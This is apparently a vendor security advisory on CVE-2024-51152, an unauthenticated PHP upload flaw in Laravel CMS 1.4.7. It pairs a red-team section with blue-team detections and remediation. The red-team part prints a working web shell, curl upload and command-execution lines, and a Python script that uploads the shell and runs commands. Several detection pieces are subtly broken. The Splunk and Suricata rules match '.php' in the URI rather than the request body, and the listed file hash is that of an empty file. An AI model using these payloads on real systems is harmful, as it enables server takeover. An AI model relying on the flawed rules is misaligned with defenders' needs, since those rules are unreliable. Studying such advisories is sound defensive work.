CVE-2024-51152

Executive Summary

CVE-2024-51152 is a critical file upload vulnerability affecting Laravel CMS versions 1.4.7 and earlier. The vulnerability allows a remote, unauthenticated attacker to upload a malicious PHP file (e.g., shell.php) via the application's file upload component, leading to arbitrary code execution on the underlying server. This can result in full system compromise, data exfiltration, and lateral movement within the network. The vulnerability is publicly known, and proof-of-concept code is available, increasing the risk of exploitation. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability affects a specific CMS built on the Laravel framework. While the core Laravel framework is not directly vulnerable, the CMS application's custom file upload handling is flawed. Organizations using this CMS should treat it as a supply chain risk and verify the integrity of their deployment.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability description, a more accurate assessment is provided below:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Full file read access possible.
• Integrity (I): High (H) - Arbitrary file upload and code execution.
• Availability (A): High (H) - Potential for denial of service or system takeover.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Laravel CMS v1.4.7. The application fails to properly validate the file type and content during the upload process. Specifically, it does not check the file extension or MIME type against a whitelist of allowed types. This allows an attacker to upload a file with a .php extension, such as shell.php, which the web server then executes as PHP code.

The attack flow is as follows:

1. The attacker identifies the file upload endpoint (e.g., /upload or /admin/upload).
2. The attacker crafts a malicious PHP file (e.g., a web shell) and sends it via a POST request to the upload endpoint.
3. The server stores the file in a web-accessible directory (e.g., /uploads/).
4. The attacker accesses the uploaded file via its URL (e.g., http://target.com/uploads/shell.php).
5. The PHP code executes, giving the attacker remote command execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Laravel CMS v1.4.7):

// File: app/Http/Controllers/UploadController.php
public function upload(Request $request) {
    $file = $request->file('file');
    $filename = $file->getClientOriginalName();
    $file->move(public_path('uploads'), $filename);
    return response()->json(['success' => true, 'filename' => $filename]);
}

This code directly uses the original filename and moves the file without any validation.

Patched Code (Hypothetical Fix):

// File: app/Http/Controllers/UploadController.php
public function upload(Request $request) {
    $request->validate([
        'file' => 'required|file|mimes:jpg,jpeg,png,gif|max:2048'
    ]);
    $file = $request->file('file');
    $filename = time() . '_' . $file->getClientOriginalName();
    $file->move(public_path('uploads'), $filename);
    return response()->json(['success' => true, 'filename' => $filename]);
}

The patched code validates the file MIME type and limits the file size, preventing PHP file uploads.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Laravel CMS v1.4.7 on a local server (e.g., using Docker).
2. Ensure the file upload endpoint is accessible.

Exploitation Steps:

1. Create a malicious PHP file (e.g., shell.php):

<?php system($_GET['cmd']); ?>

2. Upload the file using a tool like curl:

curl -F "file=@shell.php" http://target.com/upload

3. Execute commands via the uploaded shell:

curl http://target.com/uploads/shell.php?cmd=id

Automated Exploit (Python):

import requests

target = "http://target.com/upload"
payload = {'cmd': 'id'}
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
r = requests.post(target, files=files)
if r.status_code == 200:
    shell_url = "http://target.com/uploads/shell.php"
    r2 = requests.get(shell_url, params=payload)
    print(r2.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor for file upload requests with suspicious file extensions (.php, .phtml, .php5).
2. Check web server logs for POST requests to upload endpoints.
3. Look for files in the uploads directory that are not images or documents.
4. Use file integrity monitoring to detect new PHP files in web-accessible directories.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
| where method="POST" AND uri_path="/upload"
| rex field=uri ".*\.(?<extension>php|phtml|php5)$"
| where isnotnull(extension)
| table _time, clientip, uri, status

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash will vary)
• Network Indicators:
  • POST requests to /upload or similar endpoints.
  • Outbound connections from the server to attacker-controlled IPs.
• File System Indicators:
  • Unexpected .php files in /uploads/ or similar directories.
  • Files with names like shell.php, cmd.php, backdoor.php.
• Process Indicators:
  • Web server processes spawning child processes (e.g., php-cgi executing uploaded files).

Detection Engineering

YARA Rule

rule CVE_2024_51152_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-51152"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-51152"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET"
    condition:
        $php_tag and ($system_func or $shell_func) and $cmd_param
}

Sigma Rule

title: File Upload of PHP Shell via CVE-2024-51152
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of PHP files to Laravel CMS upload endpoint
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        method: 'POST'
        uri_path: '/upload'
        uri_extension: 'php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (unlikely in this context)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51152 - Laravel CMS File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".php"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If possible, disable the file upload functionality until a patch is available.
2. Web Application Firewall (WAF): Deploy WAF rules to block uploads of files with .php extensions.
3. Directory Permissions: Ensure the uploads directory does not have execute permissions for PHP files (e.g., using .htaccess or Nginx config).

Long-term Fix:

1. Apply Patch: Monitor the vendor's website for an official patch and apply it immediately.
2. Code Review: Implement proper file validation (MIME type, extension whitelist, file size limits).
3. Update CMS: Upgrade to the latest version of Laravel CMS if a patched version becomes available.

Configuration Example (Nginx):

location /uploads {
    location ~ \.php$ {
        deny all;
    }
}

Valters IT
Securing Digital Frontiers